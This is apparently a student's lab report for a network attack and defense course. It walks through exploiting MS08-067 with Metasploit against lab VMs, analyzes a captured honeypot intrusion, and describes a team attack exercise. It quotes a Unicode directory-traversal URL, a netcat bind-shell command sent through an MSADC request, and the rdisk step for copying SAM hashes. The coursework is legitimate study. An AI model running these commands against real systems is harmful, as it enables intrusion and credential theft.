20253904 2025-2026-2 《网络攻防实践》第六周作业

20253904 2025-2026-2 《网络攻防实践》第六周作业

Part 1 Windows操作系统安全攻防

1. 实验环境

实验目的:

1. 动手实践 Metasploit 渗透攻击
使用 Kali Linux 攻击机,对 Windows Metasploitable 靶机上的 MS08-067 漏洞实施远程渗透攻击,获取目标主机的访问控制权限。

2. 取证分析实践:解码一次成功的 NT 系统破解攻击
来自 213.116.251.162 的攻击者成功入侵了由 rfp 部署的蜜罐主机 172.16.1.106(主机名为 lab.wiretrip.net),要求提取并分析攻击的完整过程,并回答以下问题:

  • 攻击者使用了哪些破解工具实施攻击?
  • 攻击者如何利用这些工具进入并控制系统?
  • 攻击者在获得系统访问权限后进行了哪些操作?
  • 我们应如何防范此类攻击?
  • 攻击者是否察觉到目标是一台蜜罐主机?如果是,依据是什么?

3. 团队对抗实践:Windows 系统远程渗透攻击与流量分析

  • 攻击方使用 Metasploit 选择漏洞模块实施攻击,获取目标主机控制权(需记录攻击方信息、所用漏洞及相关 IP 地址)。
  • 防守方使用 Wireshark 捕获网络数据包,分析攻击过程,还原攻击行为。

实验环境:

  • 硬件环境:
    • GPU:NVIDIA GeForce RTX 5070 Ti Laptop
    • CPU:AMD Ryzen 9 9955HX(16 核)
  • 软件环境:
    • 操作系统:Windows 11 家庭中文版
    • 虚拟化平台:VMware Workstation 16.2.4
    • 虚拟机镜像:Kali Linux 2025.4、Windows Metasploitable

2. 实验内容

2.1 对 Windows Metasploitable 靶机上的 MS08-067 漏洞进行远程渗透攻击

本实验需要 Kali Linux 攻击机与 Windows Metasploitable 靶机协同配合。由于此前两台虚拟机分属不同网段,导致端口无法直接互通,需首先将靶机的网络连接模式调整为与攻击机一致的vmnet8。

image

图 2.1.1 修改靶机网络连接模式

靶机原先配置了静态 IP 地址,需将其改为自动获取(DHCP),并通过 ipconfig 命令确认新分配的 IP 地址为 192.168.200.10

image

图 2.1.2 查看靶机 IP 地址

在攻击机(Kali)上执行 msfconsole 命令,进入 Metasploit Framework 控制台。

image

图 2.1.3 启动 Metasploit 控制台

执行 search ms08_067 搜索相关漏洞模块,确认漏洞利用模块位于 exploit/windows/smb/ms08_067_netapi

image

图 2.1.4 搜索 MS08-067 漏洞模块

执行 use exploit/windows/smb/ms08_067_netapi 加载该漏洞利用模块。

image

图 2.1.5 加载漏洞利用模块

通过 show payloads 列出可用的 Payload。考虑到靶机系统版本较旧,此处选用 windows/shell_bind_tcp,避免使用反向连接 Payload 可能引发的兼容性问题。

image

图 2.1.6 查看可用 Payload 列表

由于 Windows 2000 系统版本较旧,攻击前需进行以下参数配置:

# 强制指定目标为 Windows 2000
set target 1
# 关闭 SMB 强制加密
set SMB::AlwaysEncrypt false
# 关闭 SMB 签名验证
set SMB::VerifySignature false
# 设置 Payload
set PAYLOAD windows/shell_bind_tcp
# 设置靶机 IP
set RHOST 192.168.200.10
# 设置攻击机 IP
set LHOST 192.168.200.6

image

图 2.1.7 配置 Metasploit 攻击参数

上面那张图里IP配置错误,修正靶机 IP 配置后,执行 exploit 发起攻击。攻击成功后成功获取靶机的 Shell 会话,可在其中执行任意系统命令,比如使用ipconfig查看一下IP地址。

image

图 2.1.8 攻击成功,获取靶机 Shell 权限

2.2 解码 NT 系统破解攻击

将学习通提供的流量文件扩展名由 .log 改为 .pcap,共享至虚拟机后使用 Wireshark 进行分析。

目录遍历攻击: 首先在第 117 号报文中发现请求路径包含 %C0%AF../boot.ini,这是经过 Unicode 编码的目录遍历攻击特征,攻击者尝试读取系统引导配置文件。

image

图 2.2.1 目录遍历攻击特征

SQL 注入攻击: 通过追踪 TCP 流的方式深入分析,在 TCP 流 11 中发现 SQL 注入攻击载荷,攻击者尝试利用数据库漏洞执行恶意命令。

image

图 2.2.2 SQL 注入攻击流量

首次权限获取失败: 在流 27 中,攻击者尝试登录系统用户账户并下载相关工具,但因权限不足均以失败告终。

image

图 2.2.3 尝试登录用户失败

二次 SQL 注入: 在流 30 中,攻击者再度实施 SQL 注入,继续探测系统漏洞。

image

图 2.2.4 再次发起 SQL 注入攻击

成功登录并植入工具: 在流 106 中,攻击者更换凭据后成功登录,并成功下载了后续所需的攻击工具。

image

图 2.2.5 成功登录并下载攻击工具

建立后门控制通道: 在流 109 中,可见请求路径 GET /msadc/.../cmd1.exe?/c+nc+-l+-p+6969+-e+cmd1.exe HTTP/1.1。攻击者通过 MSADC 漏洞上传的 cmd1.exe 调用 Netcat,在靶机上监听 6969 端口并绑定 cmd.exe Shell,从而建立持久化的远程控制通道。

image

图 2.2.6 通过 Netcat 建立后门控制通道

获取控制权后的后续操作: 将流 111 导出为 PDF 文件以便详细分析攻击者的完整操作记录。

image

图 2.2.7 导出 TCP 流 111 进行详细分析

攻击者在控制目标系统后,首先浏览目录结构,随即删除此前上传的 FTP 脚本以清除入侵痕迹。

image

图 2.2.8 浏览目录并删除痕迹文件

进一步浏览系统文件目录,侦察系统结构。

image

图 2.2.9 侦察系统文件目录

攻击者尝试执行 net session 查看当前活动连接,因权限不足被拒绝;随后执行 net users 成功枚举系统用户列表。

image

图 2.2.10 执行 net 系列命令侦察用户信息

攻击者尝试通过 net user 命令新建账户,但返回 System error 1312(无对应的登录会话),同样因权限不足操作失败。

image

图 2.2.11 尝试新建用户账户失败

攻击者转而尝试通过 rdisk -s 触发系统修复磁盘备份,使系统生成包含 SAM 数据库副本的 sam._ 备份文件,意图将其打包传回本地以进行离线密码破解。

image

图 2.2.12 执行 rdisk 生成 SAM 备份文件

然而,攻击者在尝试访问 sam._ 文件时再次因权限不足而失败。

image

图 2.2.13 访问 SAM 备份文件失败

识别蜜罐: 在流 111 的末尾,攻击者留下了一段声明性文字,表明其已意识到这是一台蜜罐服务器(lab server),并声称本次入侵仅为漏洞验证测试。

image

图 2.2.14 攻击者留下蜜罐识别声明

综合分析与问题解答:

  • Q:攻击者使用了哪些工具实施攻击?

  • A:攻击者综合使用了多种工具与技术手段,包括:利用 Unicode 编码实施目录遍历(%C0%AF)、SQL 注入工具(探测数据库漏洞)、通过 MSADC/RDS 漏洞上传的 cmd1.exe 远程命令执行工具、Netcat(nc,用于建立后门监听通道),以及 Windows 内置命令 rdisk 用于提取 SAM 数据库备份。此外,攻击者还借助 FTP 进行文件传输。

  • Q:攻击者如何利用这些工具进入并控制系统?

  • A:攻击者首先通过目录遍历攻击侦察系统结构,继而多次实施 SQL 注入以获取系统访问凭据。在使用正确凭据成功登录后,攻击者利用 MSADC(Microsoft Data Access Components)漏洞上传 cmd1.exe,并借助 Netcat 在靶机 6969 端口建立绑定 Shell 的后门通道,从而实现对靶机的完整命令行控制。

  • Q:攻击者在获得访问权限后做了什么?

  • A:获得控制权后,攻击者依次进行了以下操作:浏览系统目录结构以侦察环境;删除此前上传的 FTP 脚本,销毁入侵痕迹;执行 net session 查看活动连接(因权限不足失败);执行 net users 枚举系统账户;尝试新建用户账户(因权限不足失败);执行 rdisk -s 生成 SAM 数据库备份,意图提取系统账户哈希(因权限不足无法访问 sam._);最终在确认目标为蜜罐主机后留下声明并终止攻击。

  • Q:我们应如何防范此类攻击?

  • A:针对此次攻击所暴露的问题,建议从以下几个层面加强防护:及时为系统安装安全补丁,修复 IIS Unicode 目录遍历、MSADC/RDS 等已知漏洞;对 Web 应用实施输入验证与参数化查询,防止 SQL 注入;按最小权限原则配置服务账户权限,限制攻击者横向移动能力;对 FTP、HTTP 等服务的异常访问及高位端口的异常监听行为建立告警机制;部署 IDS/IPS 检测已知攻击特征;对敏感文件(如 SAM 数据库备份)启用强制访问控制。

  • Q:攻击者是否察觉到目标是一台蜜罐主机?如果是,依据是什么?

  • A:是的,攻击者明确察觉到了目标为蜜罐主机。在 TCP 流 111 的末尾,攻击者主动留下了一段文字,声明其已识别出这是一台蜜罐(lab server),并表示此次攻击行为仅用于漏洞验证,并非真实恶意入侵。这说明攻击者具备相当的安全意识,能够在攻击过程中通过主机特征、文件结构或异常响应行为识别出蜜罐环境。

2.3 团队攻击实践

本次团队攻击实践与20253909 李佳橦共同完成,李佳橦担任攻击方,本人担任防守方。

攻守双方均将虚拟机网络连接方式调整为桥接模式,并勾选"复制物理网络连接状态"选项,确保双方虚拟机处于同一物理网络。

QQ_1777275454574

图 2.3.1 修改虚拟机网络连接方式为桥接模式

确认双方 IP 地址:攻击方IP 为 192.168.43.131,防守方IP 为 192.168.43.3

QQ_1777275831651

图 2.3.2 攻击方 IP 地址

25621a94fb01cdb5203466f63848f792_

图 2.3.3 防守方 IP 地址

进行连通性验证,双方均可互相 ping 通,网络链路正常。

eda4f5479247ae3626ab954c5f5c1827_

图 2.3.4 攻击方 ping 防守方连通性测试

99aed7607f8639e1c38c44c50048bf41_

图 2.3.5 防守方 ping 攻击方连通性测试

防守方将 Kali Linux 接入相同网段,启动 Wireshark 对网络接口进行实时流量捕获。测试阶段,在攻击方 ping 防守方时,Wireshark 可正常捕获到对应的 ICMP 流量包,监听环境配置正确。

9eab1764634a8607a73a078f7defc51c_

图 2.3.6 Wireshark 抓包功能验证

攻击方采用与 2.1 节相同的方法,利用 MS08-067 漏洞对防守方靶机发起渗透攻击,成功取得系统控制权。

QQ_1777276678547

图 2.3.7 攻击方成功取得靶机控制权

取得控制权后,攻击方执行以下命令,在目标系统中创建文件夹并写入标识文件:

mkdir shuaige
cd shuaige
echo I am lijiatong 20253909 lijiatong>>Test.txt

QQ_1777277350188

图 2.3.8 攻击方在靶机写入标识文件

防守方进入对应目录,确认标识文件已成功写入,证实攻击行为的有效性。

b304cb325b944f2d7490f7eacf291f29_

图 2.3.9 防守方在靶机确认攻击方写入的文件

防守方通过 Wireshark 追踪对应 TCP 流,清晰还原了攻击方的完整操作序列,包括漏洞利用过程及后续 Shell 命令执行记录。

1fbf3ea1e1e325c71f2d263ebe515917_

图 2.3.10 Wireshark 捕获并还原攻击方操作记录


Part 2 学习总结

1. 知识点总结

MS08-067 漏洞与 SMB 协议安全

MS08-067 是存在于 Windows Server 服务中的一个高危远程代码执行漏洞,根本原因在于 NetAPI32.dll 中对 UNC 路径的处理未进行充分的边界检查。攻击者可通过向目标系统的 445 端口(SMB)发送精心构造的 RPC 请求,在无需认证的前提下触发栈溢出,进而执行任意代码。该漏洞影响包括 Windows XP、Windows 2000 等在内的多个 Windows 版本,是历史上被利用最为广泛的高危漏洞之一。

Metasploit Framework 渗透测试框架

Metasploit Framework(MSF)是业界主流的开源渗透测试平台,其核心工作流程分为三个阶段:选择漏洞利用模块(Exploit)、配置攻击载荷(Payload)以及执行攻击。Payload 决定了漏洞利用成功后的行为,shell_bind_tcp 令靶机在指定端口开放监听并绑定 Shell,攻击方主动连入;shell_reverse_tcp 则令靶机主动回连攻击方,更适合穿越防火墙。

Unicode 目录遍历攻击

早期 IIS 服务器存在对 Unicode 编码处理不当的缺陷,攻击者通过在 URL 中嵌入 %C0%AF(UTF-8 超长编码的 /)绕过路径规范化检查,从而访问 Web 根目录之外的任意文件,实现目录遍历。该漏洞由 Microsoft IIS 4.0/5.0 的路径解码逻辑缺陷引起,是 Web 服务器历史上的经典高危漏洞。

MSADC/RDS 漏洞与远程命令执行

MSADC(Microsoft Data Access Components)远程数据服务(RDS)漏洞允许未授权的远程用户通过构造特殊的 HTTP 请求,借助 msadcs.dll 执行任意系统命令。在本次分析的攻击流量中,攻击者正是利用此漏洞上传并执行了 cmd1.exe,继而调用 Netcat 建立持久化后门。

Netcat 后门与 Shell 绑定

Netcat(nc)是一款功能强大的网络调试与数据传输工具,常被用于创建反向 Shell 或绑定 Shell。nc -l -p 6969 -e cmd.exe 命令的含义是:在本地 6969 端口上持续监听,每当有外部连接接入时,即将 cmd.exe 的输入输出重定向到该连接,从而赋予远程攻击者完整的命令行控制能力。

SAM 数据库与密码提取

SAM(Security Account Manager)数据库是 Windows 系统存储本地账户凭据哈希值的核心文件,位于 %SystemRoot%\system32\config\SAM。系统运行期间该文件受到独占锁定,无法直接读取。rdisk -s 命令可触发应急修复磁盘(ERD)备份过程,系统将在 %SystemRoot%\repair\ 目录下生成 sam._ 压缩备份文件,攻击者提取并解压后即可对哈希值进行离线暴力破解,获取明文密码。


2. 学习中遇到的问题与解决

  • 问题 1:实验 2.1 中,攻击机无法成功与靶机建立连接。

  • 解决方案:经过多轮排查与测试,最终通过以下几项调整解决了该问题(由于排查过程较为复杂,无法确定单一根本原因):将靶机与攻击机调整至同一网段(VMnet8);将靶机 IP 地址配置由静态改为 DHCP 自动分配;调整 MSF 中的目标版本(target 1)、禁用 SMB 加密与签名验证,并将 Payload 更换为 shell_bind_tcp

  • 问题 2:实验 2.3 中,Kali Linux 虚拟机切换为桥接模式后无法访问网络。

  • 解决方案:该问题由校园网认证机制引起。将网络切换至个人移动热点后,虚拟机可正常联网。


3. 学习感悟与思考

上周刚提到进行了一部分的流量分析,这周就安排了对完整攻击流量的深度还原分析任务,且分析要求更高——需要在海量数据包中精准定位每一个攻击步骤,这要求对常见攻击手法、攻击路径以及 Windows 系统操作指令有充分的了解。在查阅资料、逐步还原攻击过程的过程中,我对网络攻防的理解得到了显著提升,也深刻体会到取证分析工作的严谨性与细致程度。

第三个团队实践任务是首次在真实跨机环境下进行的攻防演练,与以往在单机虚拟环境中的实验有本质区别。这不仅让我切身体验了攻守双方在同一网络中的博弈过程,也让我意识到,防守方能够从流量包中还原出如此详尽的攻击行为,再次印证了网络流量监控与取证分析在实际安全运营中的核心价值。

posted @ 2026-04-27 17:15  蒟蒻_果冻  阅读(46)  评论(0)    收藏  举报